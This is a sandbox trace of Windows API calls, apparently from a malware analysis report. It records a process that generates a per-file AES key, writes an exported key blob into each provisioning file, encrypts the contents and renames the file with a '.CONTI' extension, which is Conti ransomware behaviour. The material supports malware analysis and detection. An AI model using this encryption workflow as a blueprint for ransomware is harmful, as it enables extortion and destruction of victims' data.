	[0109.516] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=464) returned 1
	[0109.523] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d0
	[0109.523] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.524] SetEndOfFile (hFile=0x308) returned 1
	[0109.525] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.525] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.525] WriteFile (in: hFile=0x308, lpBuffer=0x17d2fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17d2fb4*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.526] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.526] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1d0, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1d0, lpOverlapped=0x0) returned 1
	[0109.526] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d0, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1e0) returned 1
	[0109.526] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.527] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.527] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.527] WriteFile (in: hFile=0x308, lpBuffer=0x17d2fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17d2fa8*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0109.527] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.527] CloseHandle (hObject=0x308) returned 1
	[0109.527] GetProcessHeap () returned 0x1720000
	[0109.527] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ae720
	[0109.528] lstrcpyW (in: lpString1=0x65ae720, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.528] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0109.528] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\18__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\18__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0109.531] GetProcessHeap () returned 0x1720000
	[0109.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ae720 | out: hHeap=0x1720000) returned 1
	[0109.531] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0109.531] GetProcessHeap () returned 0x1720000
	[0109.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588e70 | out: hHeap=0x1720000) returned 1
	[0109.531] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0109.531] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x6b7f038) returned 1
	[0109.531] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x4abfcac | out: pbData=0x17c47e4*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0109.532] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.532] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0109.532] GetLastError () returned 0x0
	[0109.532] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=721) returned 1
	[0109.532] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0109.532] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.532] SetEndOfFile (hFile=0x308) returned 1
	[0109.532] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.532] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.533] WriteFile (in: hFile=0x308, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.534] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.534] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2d1, lpOverlapped=0x0) returned 1
	[0109.534] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d1, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2e0) returned 1
	[0109.534] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.534] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.535] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.535] WriteFile (in: hFile=0x308, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0109.535] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.535] CloseHandle (hObject=0x308) returned 1
	[0109.535] GetProcessHeap () returned 0x1720000
	[0109.535] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ae720
	[0109.535] lstrcpyW (in: lpString1=0x65ae720, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml"
	[0109.535] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.535] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\240__connections_cellular_vodacom lesotho (lesotho)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.536] GetProcessHeap () returned 0x1720000
	[0109.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ae720 | out: hHeap=0x1720000) returned 1
	[0109.536] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0109.536] GetProcessHeap () returned 0x1720000
	[0109.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17faca8 | out: hHeap=0x1720000) returned 1
	[0109.536] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0109.536] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c5a20 | out: phKey=0x17c5a20*=0x6b7efb8) returned 1
	[0109.536] CryptExportKey (in: hKey=0x6b7efb8, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5a24, pdwDataLen=0x4abfcac | out: pbData=0x17c5a24*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0109.537] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.537] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0109.537] GetLastError () returned 0x0
	[0109.537] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=700) returned 1
	[0109.537] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bc
	[0109.537] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.537] SetEndOfFile (hFile=0x308) returned 1
	[0109.537] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.537] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.537] WriteFile (in: hFile=0x308, lpBuffer=0x17c5a24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c5a24*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.539] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.539] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2bc, lpOverlapped=0x0) returned 1
	[0109.539] CryptEncrypt (in: hKey=0x6b7efb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2bc, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2c0) returned 1
	[0109.539] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.539] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2c0, lpOverlapped=0x0) returned 1
	[0109.539] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.539] WriteFile (in: hFile=0x308, lpBuffer=0x17c5a18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c5a18*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0109.539] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.539] CloseHandle (hObject=0x308) returned 1
	[0109.540] GetProcessHeap () returned 0x1720000
	[0109.540] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ae720
	[0109.540] lstrcpyW (in: lpString1=0x65ae720, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml"
	[0109.540] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.540] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\241__Connections_Cellular_Libyana (Libya)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\241__connections_cellular_libyana (libya)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.540] GetProcessHeap () returned 0x1720000
	[0109.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ae720 | out: hHeap=0x1720000) returned 1
	[0109.541] CryptDestroyKey (hKey=0x6b7efb8) returned 1
	[0109.541] GetProcessHeap () returned 0x1720000
	[0109.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d78b0 | out: hHeap=0x1720000) returned 1
	[0109.541] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0109.541] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x6b7f378) returned 1
	[0109.541] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x4abfcac | out: pbData=0x17c410c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0109.541] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.542] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\242__connections_cellular_a1 mobilkom (liechtenstein)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0109.542] GetLastError () returned 0x0
	[0109.542] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=723) returned 1
	[0109.542] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0109.542] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.542] SetEndOfFile (hFile=0x308) returned 1
	[0109.546] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.546] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.546] WriteFile (in: hFile=0x308, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0109.547] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.547] ReadFile (in: hFile=0x308, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2d3, lpOverlapped=0x0) returned 1
	[0109.547] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d3, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2e0) returned 1
	[0109.547] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.548] WriteFile (in: hFile=0x308, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.548] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.548] WriteFile (in: hFile=0x308, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0109.548] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.548] CloseHandle (hObject=0x308) returned 1
	[0109.548] GetProcessHeap () returned 0x1720000
	[0109.548] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65ae720
	[0109.548] lstrcpyW (in: lpString1=0x65ae720, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml"
	[0109.548] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\242__Connections_Cellular_A1 Mobilkom (Liechtenstein)_i0$(__MVID)@WAP.provxml.CONTI"
